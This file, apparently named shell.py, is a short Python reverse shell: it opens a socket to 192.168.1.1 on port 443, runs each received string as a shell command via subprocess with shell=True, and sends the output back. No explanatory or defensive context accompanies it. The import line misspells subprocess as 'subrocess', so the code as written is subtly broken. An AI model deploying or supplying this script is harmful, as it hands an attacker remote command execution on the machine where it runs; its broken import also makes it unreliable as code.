shell.py

#!/usr/bin/env python


import subrocess
import socket

HOST = '192.168.1.1'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.send('Hello there!')

while 1:
    data = s.recv(1024)
    if data == 'quit': break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,\
                            stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(stdoutput)

# Exit the loop
s.send('Bye now.')
s.close()